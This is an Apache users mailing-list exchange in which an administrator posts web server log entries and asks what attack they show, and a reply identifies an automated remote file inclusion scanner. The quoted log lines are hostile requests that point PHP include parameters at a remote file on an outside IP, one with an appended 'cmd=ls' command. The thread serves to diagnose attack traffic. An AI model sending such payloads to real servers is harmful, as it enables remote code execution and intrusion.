Looks like an automated hacking tool using this list, or a derative of it: http://ha.ckers.org/weird/rfi-locations.dat
Kind regards, Mathijs On Tue, Dec 20, 2011 at 6:52 PM, Knute Johnson <apa...@knutejohnson.com>wrote: > I got hundreds of these in my log today. Just curious if anybody knows > what sort of attack this might be? > > /=http://62.141.58.186/google.**txt<http://62.141.58.186/google.txt>: > 4 Time(s) > /A-Blog/navigation/donation.**php?navigation ... .186/google.txt: 4 > Time(s) > /A-Blog/navigation/latestnews.**php?navigati ... 186/google.txt?: 4 > Time(s) > /A-Blog/navigation/links.php?**navigation_st ... 186/google.txt?: 4 > Time(s) > /A-Blog/navigation/search.php?**navigation_e ... 186/google.txt?: 4 > Time(s) > /A-Blog/sources/myaccount.php?**open_box=htt ... 186/google.txt?: 4 > Time(s) > /ACGVnews/header.php?PathNews=**http://62.14 <http://62.14> ... > .186/google.txt: 4 Time(s) > /ACalendar/embed/day.php?path=**http://62.14 <http://62.14> ... > .186/google.txt: 4 Time(s) > /ATutor/documentation/common/**frame_toc.php ... .186/google.txt: 4 > Time(s) > /ATutor/documentation/common/**search.php?se ... .186/google.txt: 4 > Time(s) > /ATutor/documentation/common/v**itals.inc.ph <http://vitals.inc.ph>... > .186/google.txt: 4 Time(s) > /ATutor/include/classes/**module/module.clas ... .186/google.txt: 4 > Time(s) > /ATutor/include/classes/**phpmailer/class.ph ... .186/google.txt: 4 > Time(s) > /AdaptCMS_Lite_1.4_2/plugins/**rss_importer_ ... 186/google.txt?: 4 > Time(s) > /Administration/Includes/**configureText.php ... .186/google.txt: 4 > Time(s) > /Administration/Includes/**contentHome.php?p ... .186/google.txt: 4 > Time(s) > /Administration/Includes/**deleteContent.php ... .186/google.txt: 4 > Time(s) > /Administration/Includes/**deleteUser.php?pa ... .186/google.txt: 4 > Time(s) > /Administration/Includes/**userHome.php?path ... .186/google.txt: 4 > Time(s) > /Agora_PATH//mdweb/admin/inc/**organisations ... 186/google.txt?: 8 > Time(s) > /BE_config.php?_PSL[classdir]=**http://62.14 <http://62.14> ... > .186/google.txt: 4 Time(s) > /BPNEWS/bn_smrep1.php?bnrep=ht**tp://62.141 <http://62.141>. ... > 86/google.txt?&: 4 Time(s) > /Base/Application.php?pear_**dir=http://62.1 ... .186/google.txt: 4 > Time(s) > /Bcwb_PATH/dcontent/default.**css.php?root_p ... .186/google.txt: 4 > Time(s) > /Bcwb_PATH/include/startup.**inc.php?root_pa ... .186/google.txt: 4 > Time(s) > /Bcwb_PATH/system/default.css.**php?root_pat ... .186/google.txt: 4 > Time(s) > /Beautifier/Core.php?BEAUT_**PATH=http://62. ... 186/google.txt?: 4 > Time(s) > /BetaBlockModules//Module/**Module.php?path_ ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**AboutUserModule/AboutUse ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**AddGroupModule/AddGroupM ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**AddMessageModule/AddMess ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**AudiosMediaGalleryModule ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**CustomizeUIModule/deskto ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**EditProfileModule/Dynami ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**EditProfileModule/extern ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**EnableModule/EnableModul ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**ExternalFeedModule/Exter ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**FlickrModule/FlickrModul ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**GroupForumModule/GroupFo ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**GroupForumPermalinkModul ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**GroupModerateContentModu ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**GroupModerateUserModule/ ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**GroupModerationModule/Gr ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**GroupsCategoryModule/Gro ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**GroupsDirectoryModule/Gr ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**ImagesMediaGalleryModule ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**ImagesModule/ImagesModul ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**InvitationStatusModule/I ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**LargestGroupsModule/Larg ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/LinksModule/**LinksModule. ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/LoginModule/**remoteauth_f ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/LogoModule/**LogoModule.ph ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**MediaFullViewModule/Medi ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**MediaManagementModule/Me ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**MembersFacewallModule/Me ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**MessageModule/MessageMod ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**ModuleSelectorModule/Mod ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**MyGroupsModule/MyGroupsM ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**MyLinksModule/MyLinksMod ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**MyNetworksModule.php?pat ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**NetworkAnnouncementModul ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**NetworkDefaultControlMod ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**NetworkDefaultLinksModul ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**NetworkModerateUserModul ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**NetworkResultContentModu ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**NetworkResultUserModule/ ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**NetworksDirectoryModule/ ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**NewestGroupsModule/Newes ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**PeopleModule/PeopleModul ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**PopularTagsModule/Popula ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**PostContentModule/PostCo ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**ProfileFeedModule/Profil ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**RecentCommentsModule/Rec ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**RecentPostModule/RecentP ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**RecentTagsModule/RecentT ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**RegisterModule/RegisterM ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**SearchGroupsModule/Searc ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**ShowAnnouncementModule/S ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**ShowContentModule/ShowCo ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**TakerATourModule/TakerAT ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**UploadMediaModule/Upload ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**UserMessagesModule/UserM ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**UserPhotoModule/UserPhot ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**VideosMediaGalleryModule ... .186/google.txt: 4 > Time(s) > /BetaBlockModules/**ViewAllMembersModule/Vie ... .186/google.txt: 4 > Time(s) > > /Blog/BlogModel.php?path=http:**//62.141.58.186/google.txt<http://62.141.58.186/google.txt>: > 4 Time(s) > /Blog_CMS/admin/plugins/NP_**UserSharing.php ... .186/google.txt: 4 > Time(s) > /Blog_CMS/admin/plugins/NP_**UserSharing.php ... oogle.txt?admin: 4 > Time(s) > /CheckUpload.php?Language=http**://62.141.58 <http://62.141.58> ... > ogle.txt&cmd=ls: 4 Time(s) > /Contenido_4.8.4/contenido/**backend_search. ... 186/google.txt?: 4 > Time(s) > /Contenido_4.8.4/contenido/**cronjobs/move_a ... 186/google.txt?: 4 > Time(s) > > Thanks, > > -- > > Knute... > > ------------------------------**------------------------------**--------- > The official User-To-User support forum of the Apache HTTP Server Project. > See > <URL:http://httpd.apache.org/**userslist.html<http://httpd.apache.org/userslist.html>> > for more info. > To unsubscribe, e-mail: > users-unsubscribe@httpd.**apache.org<users-unsubscr...@httpd.apache.org> > " from the digest: > users-digest-unsubscribe@**httpd.apache.org<users-digest-unsubscr...@httpd.apache.org> > For additional commands, e-mail: users-h...@httpd.apache.org >
